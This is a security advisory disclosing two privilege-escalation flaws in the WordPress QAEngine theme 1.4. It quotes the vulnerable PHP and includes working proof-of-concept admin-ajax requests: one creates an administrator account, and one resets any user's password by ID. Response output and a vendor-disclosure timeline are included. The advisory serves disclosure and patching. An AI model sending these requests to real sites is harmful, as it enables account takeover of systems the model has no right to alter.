WordPress QAEngine Theme 1.4 Privilege Escalation

`[-] Theme Link:  
  
https://www.enginethemes.com/themes/qaengine/  
  
[-] Vulnerability Description:  
  
[+] 1st Vulnerability:  
  
qaengine vulnerability allows an attacker to have an administrator account  
on the target's website  
vuln code in /qaengine/includes/aecore/class-ae-users.php:  
  
public function insert( $user_data ){  
if( !$user_data['user_login'] || !preg_match('/^[a-z\d_]{2,20}$/i',  
$user_data['user_login']) ) {  
return new WP_Error( 'username_invalid', __("Username only  
lowercase letters (a-z) and numbers are allowed.", ET_DOMAIN) );  
}  
/**  
* insert user by wp_insert_user  
*/  
$result = wp_insert_user( $user_data ); ....  
  
its inserting a new user using user input ( $user_data )  
the function is being accessed from the sync function  
  
public function sync($request) {  
extract( $request );  
unset($request['method']);  
switch ( $method ) {  
case 'create':  
$result = $this->insert( $request );  
break;  
case 'update':  
$result = $this->update( $request );  
break;  
case 'remove':  
$result = $this->delete( $request['ID'] );  
break;  
case 'read':  
$result = $this->get( $request['ID'] );  
break;  
default :  
return new WP_Error('invalid_method', __("Invalid method",  
ET_DOMAIN) );  
}  
return $result;  
}  
  
and the sync function can be accessed through ajax  
$this->add_ajax('ae-sync-user', 'sync');  
  
and since there is no third parameter in add_ajax setting 'nopriv' to true  
this can be accessed only by registered users  
  
public function add_ajax($hook, $callback, $priv = true, $no_priv = true,  
$priority = 10, $accepted_args = 1 ){  
if ( $priv )  
$this->add_action( self::AJAX_PREFIX . $hook, $callback,  
$priority, $accepted_args );  
if ( $no_priv )  
$this->add_action( self::AJAX_NOPRIV_PREFIX . $hook, $callback,  
$priority, $accepted_args );  
}  
  
Proof of Concept:  
  
accessing this by a registered user will insert a new user with username  
(xADMIN) and password (xPASS) and an administrator role  
  
localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=create&user_login=xADMIN&user_pass=xPASS&role=administrator  
  
response:  
  
{"success":true,"data":{"action":"ae-sync-user","user_login":"xADMIN","user_pass":"xPASS","role":"administrator","ID":5},"msg":"Update  
user successful!"}  
  
[+] 2nd Vunerability:  
  
and another vulnerability in update function  
public function update( $user_data ){  
....  
$result = wp_update_user( $user_data );  
...  
}  
  
this will allow the attacker to update any user(including administrator)  
information like password,email,etc...  
  
Proof of Concept:  
  
the id parameter is the id of the user to be modified (usually 1 will be  
the administrator)  
localhost/wp/wp-admin/admin-ajax.php?action=ae-sync-user&method=update&ID=1&user_pass=ANOTHERPASSWORD  
  
Response:  
  
{"success":true,"data":{"ID":"1","user_login":"admin","user_nicename":"admin","user_email":  
...  
  
  
[-] Timeline:  
  
22 March - Vendor Notified  
23 March - Vendor Replied & Fix Released  
07 April - Public Disclosure  
`